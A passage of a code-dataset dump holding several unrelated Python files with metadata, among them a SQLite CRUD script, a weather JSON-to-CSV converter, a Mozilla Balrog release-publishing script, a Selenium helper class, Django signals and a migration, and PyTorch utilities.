else:\n                cursor.execute(\"\"\"\n                DELETE FROM comment\n                WHERE CommentID == ?\n                \"\"\", delete)\n\n                conn.commit()\n\n                print(\"Sucesso :)\")\n\nmain()\n", "repo_name": "bluz1n/python-tests", "sub_path": "CRUD.py", "file_name": "CRUD.py", "file_ext": "py", "file_size_in_byte": 6495, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlite3.connect", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 56, "usage_type": "name"}]}
{"seq_id": "20925450116", "text": "import pandas as pd\nimport simplejson as json\n\ndata_file = open(\"fiveyearsdata.json\", \"r\") \ndata = json.load(data_file)\ndata = data\n\nprint(\"Data size:\", len(data), \"observations\")\ndf = pd.DataFrame()\nfor i, d in enumerate(data[:]): # Going through data: observation by observation per each day\n    try:\n        df_1 = pd.DataFrame(d[\"data\"][\"weather\"], index=[i])\n        df_2 = pd.DataFrame(d[\"data\"][\"request\"], index=[i])\n        df_ = pd.concat([df_1, df_2], axis=1)\n        for k, v in d[\"data\"][\"weather\"][0][\"hourly\"][0].items():\n            df_.loc[i, k] = v\n        for k, v in d[\"data\"][\"weather\"][0][\"astronomy\"][0].items():\n            df_.loc[i, k] = v\n\n        df = df_ if df.empty else df.append(df_)\n    except:\n        # There are some errors found in fetched data already. \n        # Days missed as a result of an error should be imputed by some way\n        print(\"Error at index:\", i, \"Error details:\", d[\"data\"]) \n\ndf = df.drop('hourly', 1)\ndf = df.drop('astronomy', 1)\n\nprint(\"Fetched data sieze:\", len(df), \"observations\")\nprint(\"Number of variables:\", len(df.columns))\n\ndf.to_csv('weather_data.csv', sep='|') # sep here is to avoid \",\" in the query column", "repo_name": "tabarkarajab/Predicted-Weather-Temperature", "sub_path": "CODE/JSONtoCSV.py", "file_name": "JSONtoCSV.py", "file_ext": "py", "file_size_in_byte": 1178, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "simplejson.load", "line_number": 5, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "31966291413", "text": "# encoding=\n\nimport os\nfrom shutil import copy2, move\nfrom pydub import AudioSegment\n\nimport mutagen\nfrom mutagen import mp4, easymp4, mp3, aiff\n\nclass AifMetaData:\n  def __init__(self, fl):\n    self.title = str(fl.get('TIT2', None))\n    self.artist = str(fl.get('TPE1', None))\n    self.albumArtist = str(fl.get('TPE2', None))\n    self.composer = str(fl.get('TCOM', None))\n    self.album = str(fl.get('TALB', None))\n    self.trackNo = str(fl.get('TRCK', None)[0]).split('/')[0]\n    self.tracks = str(fl.get('TRCK', None)[0]).split('/')[1]\n    self.diskNo = str(fl.get('TPOS', None)[0]).split('/')[0]\n    self.disks = str(fl.get('TPOS', None)[0]).split('/')[1]\n    self.genre = str(fl.get('TCON', None))\n    self.year = str(fl.get('TDRC', None))\n\n  def summary(self):\n    varsCopy = vars(self).copy()\n    return varsCopy\n\nwalk_path = os.path.join('G:', 'My Drive', 'Music', 'aif by Album')\n\nfor source_dir, _, files in os.walk(walk_path):\n\n    try:\n      print(source_dir)\n    except:\n      continue\n    \n    for file in files:\n\n        fileName = file.split('.')[:-1]\n        fileExt = file.split('.')[-1]\n        print(fileName, fileExt)\n        quit()\n        \n        if not file.lower().endswith(('aif')):\n          continue\n\n        source_path = os.path.join(source_dir, file)\n        \n        mut = aiff.AIFF(source_path)\n        metaData = AifMetaData(mut)\n\n        aif = AudioSegment.from_file(source_path)\n", "repo_name": "howesc/file-scripts", "sub_path": "audio-sorting/aif_metaData.py", "file_name": "aif_metaData.py", "file_ext": "py", "file_size_in_byte": 1436, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "mutagen.aiff.AIFF", "line_number": 49, "usage_type": "call"}, {"api_name": "mutagen.aiff", "line_number": 49, "usage_type": "name"}, {"api_name": "pydub.AudioSegment.from_file", "line_number": 52, "usage_type": "call"}, {"api_name": "pydub.AudioSegment", "line_number": 52, "usage_type": "name"}]}
{"seq_id": "20743759446", "text": "#!/usr/bin/env python\n# lint_ignore=E501\n# ***** BEGIN LICENSE BLOCK *****\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n# ***** END LICENSE BLOCK *****\n\"\"\" updates.py\n\nA script publish a release to Balrog.\n\n\"\"\"\n\nimport os\nimport sys\nfrom datetime import datetime, timedelta\n\nsys.path.insert(1, os.path.dirname(os.path.dirname(sys.path[0])))\nfrom mozharness.base.vcs.vcsbase import MercurialScript\nfrom mozharness.mozilla.buildbot import BuildbotMixin\nfrom mozharness.base.log import FATAL\n\n# PublishBalrog {{{1\n\n\nclass PublishBalrog(MercurialScript, BuildbotMixin):\n\n    def __init__(self, require_config_file=True):\n        super(PublishBalrog, self).__init__(\n            all_actions=[\n                'clobber',\n                'pull',\n                'submit-to-balrog',\n            ],\n            default_actions=[\n                'clobber',\n                'pull',\n                'submit-to-balrog',\n            ],\n            config={\n                'buildbot_json_path': 'buildprops.json',\n                'credentials_file': 'oauth.txt',\n            },\n            require_config_file=require_config_file\n        )\n\n    def _pre_config_lock(self, rw_config):\n        super(PublishBalrog, self)._pre_config_lock(rw_config)\n        # override properties from buildbot properties here as defined by\n        # taskcluster properties\n        self.read_buildbot_config()\n        if not self.buildbot_config:\n            self.warning(\"Skipping buildbot properties overrides\")\n            return\n        # TODO: version and appVersion should come from repo\n        props = self.buildbot_config[\"properties\"]\n        for prop in ['product', 'version', 'build_number', 'channels',\n                     'balrog_api_root', 'schedule_at', 'background_rate',\n                     'publish_bz2_blob']:\n            if props.get(prop):\n                self.info(\"Overriding %s with %s\" % (prop, props[prop]))\n                self.config[prop] = props.get(prop)\n\n    def query_abs_dirs(self):\n        if self.abs_dirs:\n            return self.abs_dirs\n        self.abs_dirs = super(PublishBalrog, self).query_abs_dirs()\n        self.abs_dirs[\"abs_tools_dir\"] = os.path.join(\n            self.abs_dirs['abs_work_dir'], self.config[\"repo\"][\"dest\"])\n        return self.abs_dirs\n\n    def query_channel_configs(self):\n        \"\"\"Return a list of channel configs.\n        For RC builds it returns \"release\" and \"beta\" using\n        \"enabled_if_version_matches\" to match RC.\n\n        :return: list\n         \"\"\"\n        return [(n, c) for n, c in self.config[\"update_channels\"].items() if\n                n in self.config[\"channels\"]]\n\n    def query_repos(self):\n        \"\"\"Build a list of repos to clone.\"\"\"\n        return [self.config[\"repo\"]]\n\n    def pull(self):\n        super(PublishBalrog, self).pull(\n            repos=self.query_repos())\n\n    def submit_to_balrog(self):\n        for _, channel_config in self.query_channel_configs():\n            self._submit_to_balrog(channel_config)\n        if 'publish_bz2_blob' in self.config and \\\n                self.config['publish_bz2_blob']:\n            for _, channel_config in self.query_channel_configs():\n                self._submit_to_balrog_bz2(channel_config)\n\n    def _submit_to_balrog(self, channel_config):\n        dirs = self.query_abs_dirs()\n        auth = os.path.join(os.getcwd(), self.config['credentials_file'])\n        cmd = [\n            sys.executable,\n            os.path.join(dirs[\"abs_tools_dir\"],\n                         \"scripts/build-promotion/balrog-release-shipper.py\")]\n        cmd.extend([\n            \"--api-root\", self.config[\"balrog_api_root\"],\n            \"--credentials-file\", auth,\n            \"--username\", self.config[\"balrog_username\"],\n            \"--version\", self.config[\"version\"],\n            \"--product\", self.config[\"product\"],\n            \"--build-number\", str(self.config[\"build_number\"]),\n            \"--verbose\",\n        ])\n        for r in channel_config[\"publish_rules\"]:\n            cmd.extend([\"--rules\", str(r)])\n        if channel_config.get(\"schedule_asap\"):\n            # RC releases going to the beta channel have no ETA set for the\n            # RC-to-beta push. The corresponding task is scheduled after we\n            # resolve the push-to-beta human decision task, so we can schedule\n            # it ASAP plus some additional 30m to avoid retry() to fail.\n            schedule_at = datetime.utcnow() + timedelta(minutes=30)\n            cmd.extend([\"--schedule-at\", schedule_at.isoformat()])\n        elif self.config.get(\"schedule_at\"):\n            cmd.extend([\"--schedule-at\", self.config[\"schedule_at\"]])\n        if self.config.get(\"background_rate\"):\n            cmd.extend([\"--background-rate\", str(self.config[\"background_rate\"])])\n\n        self.retry(lambda: self.run_command(cmd, halt_on_failure=True),\n                   error_level=FATAL)\n\n    def _submit_to_balrog_bz2(self, channel_config):\n        dirs = self.query_abs_dirs()\n        # Use env varialbe instead of command line to avoid issues with blob\n        # names starting with \"-\", e.g. \"-bz2\"\n        env = {\"BALROG_BLOB_SUFFIX\": channel_config[\"bz2_blob_suffix\"]}\n        auth = os.path.join(os.getcwd(), self.config['credentials_file'])\n        cmd = [\n            sys.executable,\n            os.path.join(dirs[\"abs_tools_dir\"],\n                         \"scripts/build-promotion/balrog-release-shipper.py\")]\n        cmd.extend([\n            \"--api-root\", self.config[\"balrog_api_root\"],\n            \"--credentials-file\", auth,\n            \"--username\", self.config[\"balrog_username\"],\n            \"--version\", self.config[\"version\"],\n            \"--product\", self.config[\"product\"],\n            \"--build-number\", str(self.config[\"build_number\"]),\n            \"--suffix\", channel_config[\"bz2_blob_suffix\"],\n            \"--verbose\",\n        ])\n        for r in channel_config[\"bz2_publish_rules\"]:\n            cmd.extend([\"--rules\", str(r)])\n        if channel_config.get(\"schedule_asap\"):\n            # RC releases going to the beta channel have no ETA set for the\n            # RC-to-beta push. The corresponding task is scheduled after we\n            # resolve the push-to-beta human decision task, so we can schedule\n            # it ASAP plus some additional 30m to avoid retry() to fail.\n            schedule_at = datetime.utcnow() + timedelta(minutes=30)\n            cmd.extend([\"--schedule-at\", schedule_at.isoformat()])\n        elif self.config.get(\"schedule_at\"):\n            cmd.extend([\"--schedule-at\", self.config[\"schedule_at\"]])\n        if self.config.get(\"background_rate\"):\n            cmd.extend([\"--background-rate\", str(self.config[\"background_rate\"])])\n\n        self.retry(lambda: self.run_command(cmd, halt_on_failure=True, env=env),\n                   error_level=FATAL)\n\n\n\n# __main__ {{{1\nif __name__ == '__main__':\n    PublishBalrog().run_and_exit()\n", "repo_name": "WaterfoxCo/Waterfox-Classic", "sub_path": "testing/mozharness/scripts/release/publish_balrog.py", "file_name": "publish_balrog.py", "file_ext": "py", "file_size_in_byte": 7000, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 160, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.insert", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "mozharness.base.vcs.vcsbase.MercurialScript", "line_number": 26, "usage_type": "name"}, {"api_name": "mozharness.mozilla.buildbot.BuildbotMixin", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 100, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 121, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 121, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 121, "usage_type": "call"}, {"api_name": "mozharness.base.log.FATAL", "line_number": 129, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 136, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 158, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 158, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 158, "usage_type": "call"}, {"api_name": "mozharness.base.log.FATAL", "line_number": 166, "usage_type": "name"}]}
{"seq_id": "19700536915", "text": "from selenium.webdriver.common.by import By\nfrom traceback import print_stack\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import *\nimport utilities.custom_logger as cl\nimport logging\nimport time\nimport os\n\nclass SeleniumDriver():\n\n    log = cl.customLogger(logging.DEBUG)\n\n    def __init__(self, driver):\n        self.driver = driver\n\n\n    def getByType(self, locatorType):\n        \"\"\"\n        returns Bytype\n        \"\"\"\n\n        locatorType = locatorType.lower()\n\n        if locatorType == \"id\":\n            return By.ID\n        elif locatorType == \"name\":\n            return By.NAME\n        elif locatorType == \"xpath\":\n            return By.XPATH\n        elif locatorType == \"css\":\n            return By.CSS_SELECTOR\n        elif locatorType == \"class\":\n            return By.CLASS_NAME\n        elif locatorType == \"link\":\n            return By.LINK_TEXT\n        else:\n            self.log.info(\"Locator type \" + locatorType +\n                          \" is not correct\")\n        return False\n\n    def getElement(self, locator, locatorType=\"id\"):\n\n        element = None\n        try:\n            locatorType = locatorType.lower()\n            byType = self.getByType(locatorType)\n            element = self.driver.find_element(byType, locator)\n            self.log.info(\"Succesfully found element with locator: \" + locator +\n                          \" and  locatorType: \" + locatorType)\n        except:\n            self.log.info(\"Unable to find Element with locator: \" + locator +\n                          \" and  locatorType: \" + locatorType)\n        return element\n\n    def elementClick(self, locator, locatorType=\"id\"):\n\n        try:\n            element = self.getElement(locator, locatorType)\n            element.click()\n            self.log.info(\"Successfully clicked the element with locator: \" + locator +\n                          \" locatorType: \" + locatorType)\n        except:\n            self.log.info(\"Unable to click on the element with locator: \" + locator +\n                          \" locatorType: \" + locatorType)\n            print_stack()\n\n    def sendKeys(self, data, locator, locatorType=\"id\"):\n        try:\n            element = self.getElement(locator, locatorType)\n            element.send_keys(data)\n            self.log.info(\"Succssfully Sent data with locator: \" + locator +\n                          \" locatorType: \" + locatorType)\n        except:\n            self.log.info(\"Unable to send data with locator: \" + locator +\n                  \" locatorType: \" + locatorType)\n            print_stack()\n\n\n    def waitForElement(self, locator, locatorType=\"id\",\n                               timeout=10, pollFrequency=0.5):\n        element = None\n        try:\n            byType = self.getByType(locatorType)\n\n            wait = WebDriverWait(self.driver, 10, poll_frequency=1,\n                                 ignored_exceptions=[NoSuchElementException,\n                                                     ElementNotVisibleException,\n                                                     ElementNotSelectableException])\n            element = wait.until(EC.element_to_be_clickable((byType,locator)))\n\n            self.log.info(\"Successfully Element appeared on the web page\")\n        except:\n            self.log.info(\"Unable to find Element on the web page\")\n            print_stack()\n        return element\n\n    def webScroll(self, direction=\"up\"):\n\n        if direction == \"up\":\n            self.driver.execute_script(\"window.scrollBy(0, -1000);\")\n\n        if direction == \"down\":\n            self.driver.execute_script(\"window.scrollBy(0, 900);\")\n\n    def getText(self, locator=\"\", locatorType=\"id\"):\n\n        try:\n            element = self.getElement(locator, locatorType)\n            text = element.text\n            if len(text) != 0:\n                text = text.strip()\n\n        except:\n            self.log.error(\"Failed to get text on element \")\n            print_stack()\n            text = None\n        return text\n\n    def screenShot(self, resultMessage):\n\n        fileName = resultMessage + \".\" + str(round(time.time() * 1000)) + \".png\"\n        screenshotDirectory = \"../screenshots/\"\n        relativeFileName = screenshotDirectory + fileName\n        currentDirectory = os.path.dirname(__file__)\n        destinationFile = os.path.join(currentDirectory, relativeFileName)\n        destinationDirectory = os.path.join(currentDirectory, screenshotDirectory)\n\n        try:\n            if not os.path.exists(destinationDirectory):\n                os.makedirs(destinationDirectory)\n            self.driver.save_screenshot(destinationFile)\n            self.log.info(\"Screenshot save to directory: \" + destinationFile)\n        except:\n            self.log.error(\"### Exception Occurred when taking screenshot\")\n            print_stack()\n\n", "repo_name": "NaliniGovindaraj/seleniumeasy", "sub_path": "base/seleniumdriver.py", "file_name": "seleniumdriver.py", "file_ext": "py", "file_size_in_byte": 4877, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "utilities.custom_logger.customLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "utilities.custom_logger", "line_number": 13, "usage_type": "name"}, {"api_name": "logging.DEBUG", "line_number": 13, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 27, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 27, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.NAME", "line_number": 29, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 29, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 31, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 31, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 33, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 33, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 35, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 35, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.LINK_TEXT", "line_number": 37, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 37, "usage_type": "name"}, {"api_name": "traceback.print_stack", "line_number": 67, "usage_type": "call"}, {"api_name": "traceback.print_stack", "line_number": 78, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 87, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 91, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 91, "usage_type": "name"}, {"api_name": "traceback.print_stack", "line_number": 96, "usage_type": "call"}, {"api_name": "traceback.print_stack", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 132, "usage_type": "call"}, {"api_name": "traceback.print_stack", "line_number": 137, "usage_type": "call"}]}
{"seq_id": "23660695917", "text": "from django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom .models import User, LoanedBook\nfrom .tasks import send_user_data, send_loaned_book_data\n\n\n@receiver(post_save, sender=User)\ndef send_user_data_event(sender, **kwargs) -> None:\n    user = kwargs[\"instance\"]\n    created = kwargs[\"created\"]\n\n    # Call the celery task to send user data to the admin_api service\n    send_user_data.delay(user.id, user.email, user.first_name, user.last_name, created)\n\n\n@receiver(post_save, sender=LoanedBook)\ndef send_loaned_book_data_event(sender, **kwargs) -> None:\n    loaned_book: LoanedBook = kwargs[\"instance\"]\n\n    # Call the celery task to send the bood data that has been loaned to the admin_api service\n    send_loaned_book_data.apply_async(\n        kwargs={\n            \"date_borrowed\": loaned_book.date_borrowed,\n            \"return_date\": loaned_book.return_date,\n            \"book_id\": loaned_book.book.id,\n            \"user_id\": loaned_book.user.id,\n        }\n    )\n", "repo_name": "Ennyola/library_microservice", "sub_path": "client_api/api/signals.py", "file_name": "signals.py", "file_ext": "py", "file_size_in_byte": 1002, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tasks.send_user_data.delay", "line_number": 14, "usage_type": "call"}, {"api_name": "tasks.send_user_data", "line_number": 14, "usage_type": "name"}, {"api_name": "django.dispatch.receiver", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_save", "line_number": 8, "usage_type": "argument"}, {"api_name": "models.User", "line_number": 8, "usage_type": "name"}, {"api_name": "models.LoanedBook", "line_number": 19, "usage_type": "name"}, {"api_name": "tasks.send_loaned_book_data.apply_async", "line_number": 22, "usage_type": "call"}, {"api_name": "tasks.send_loaned_book_data", "line_number": 22, "usage_type": "name"}, {"api_name": "django.dispatch.receiver", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_save", "line_number": 17, "usage_type": "argument"}, {"api_name": "models.LoanedBook", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "29043706029", "text": "import config as cfg\n\nif cfg.lang == 'en':\n    import localization.en as msg_cfg\nelse:\n    import localization.ru as msg_cfg\n\nfrom messages.message_base import MessageBase\n\n\nclass ModuleMsg(MessageBase):\n    \"\"\"Constructs the module asking message with Buttons\n     based on MessageBase class\"\"\"\n\n    def __init__(self, channel):\n        MessageBase.__init__(self, channel)\n\n    def __call__(self):\n        return {\n            \"ts\": self.timestamp,\n            \"channel\": self.channel,\n            \"username\": self.username,\n            \"icon_emoji\": self.icon_emoji,\n            \"blocks\": [\n                self.make_section_block(msg_cfg.module_message['select']),\n                self.get_buttons(),\n            ],\n        }\n\n    @staticmethod\n    def get_buttons():\n        def button(text):\n            return {\n                \"type\": 'button',\n                \"text\": {\n                    \"type\": \"plain_text\",\n                    \"text\": text,\n                    \"emoji\": False,\n                }\n            }\n        return {\n            \"type\": 'actions',\n            \"elements\": [button(msg_cfg.module_message['button'].format(i))\n                         for i in range(1, cfg.module_number+1)],\n        }\n\n", "repo_name": "vovapetryna/DR_questions", "sub_path": "messages/module_message.py", "file_name": "module_message.py", "file_ext": "py", "file_size_in_byte": 1223, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "config.lang", "line_number": 3, "usage_type": "attribute"}, {"api_name": "messages.message_base.MessageBase", "line_number": 11, "usage_type": "name"}, {"api_name": "messages.message_base.MessageBase.__init__", "line_number": 16, "usage_type": "call"}, {"api_name": "messages.message_base.MessageBase", "line_number": 16, "usage_type": "name"}, {"api_name": "localization.ru.module_message", "line_number": 25, "usage_type": "attribute"}, {"api_name": "localization.ru", "line_number": 25, "usage_type": "name"}, {"api_name": "localization.ru.module_message", "line_number": 43, "usage_type": "attribute"}, {"api_name": "localization.ru", "line_number": 43, "usage_type": "name"}, {"api_name": "config.module_number", "line_number": 44, "usage_type": "attribute"}]}
{"seq_id": "71858803111", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('project', '0001_initial'),\n        ('inventory', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Demand',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('purpose', models.CharField(max_length=254)),\n                ('date', models.DateField(default=datetime.datetime.today)),\n                ('site', models.ForeignKey(related_name='demands', to='project.Project')),\n            ],\n        ),\n        migrations.CreateModel(\n            name='DemandRow',\n            fields=[\n                ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n                ('purpose', models.CharField(max_length=100, blank=True, null=True)),\n                ('quantity', models.FloatField()),\n                ('unit', models.CharField(max_length=50)),\n                ('fulfilled_quantity', models.FloatField()),\n                ('status', models.BooleanField(default=False)),\n                ('demand', models.ForeignKey(related_name='rows', to='inventory.Demand')),\n                ('item', models.ForeignKey(to='inventory.Item')),\n            ],\n        ),\n    ]\n", "repo_name": "awemulya/prithivi-construction", "sub_path": "inventory/migrations/0002_demand_demandrow.py", "file_name": "0002_demand_demandrow.py", "file_ext": "py", "file_size_in_byte": 1447, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.FloatField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.FloatField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}]}
{"seq_id": "15636506531", "text": "import os\nimport logging\nfrom collections import OrderedDict\nimport json\nimport numpy as np\nimport random\n\nimport torch\n\ndef set_logger(params, log_file=None):\n    if log_file is None:\n        dataset_id = params['dataset_id']\n        model_id = params['model_id']\n        log_dir = os.path.join(params['model_root'], dataset_id)\n        log_file = os.path.join(log_dir, model_id + '.log')\n    log_dir = os.path.dirname(log_file)\n    os.makedirs(log_dir, exist_ok=True)\n\n    # logs will not show in the file without the two lines.\n    for handler in logging.root.handlers[:]: \n        logging.root.removeHandler(handler)\n        \n    logging.basicConfig(level=logging.INFO,\n                        format='%(asctime)s P%(process)d %(levelname)s %(message)s',\n                        handlers=[logging.FileHandler(log_file, mode='w'),\n                                  logging.StreamHandler()])\n\ndef print_to_json(data, sort_keys=True):\n    new_data = dict((k, str(v)) for k, v in data.items())\n    if sort_keys:\n        new_data = OrderedDict(sorted(new_data.items(), key=lambda x: x[0]))\n    return json.dumps(new_data, indent=4)\n\ndef seed_everything(seed=1029):\n    random.seed(seed)\n    os.environ[\"PYTHONHASHSEED\"] = str(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed(seed)\n    torch.backends.cudnn.deterministic = True", "repo_name": "Qingfeng-Yao/Test_Codes", "sub_path": "CTR/torch/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1362, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.root", "line_number": 20, "usage_type": "attribute"}, {"api_name": "logging.root.removeHandler", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.root", "line_number": 21, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 23, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 26, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 31, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 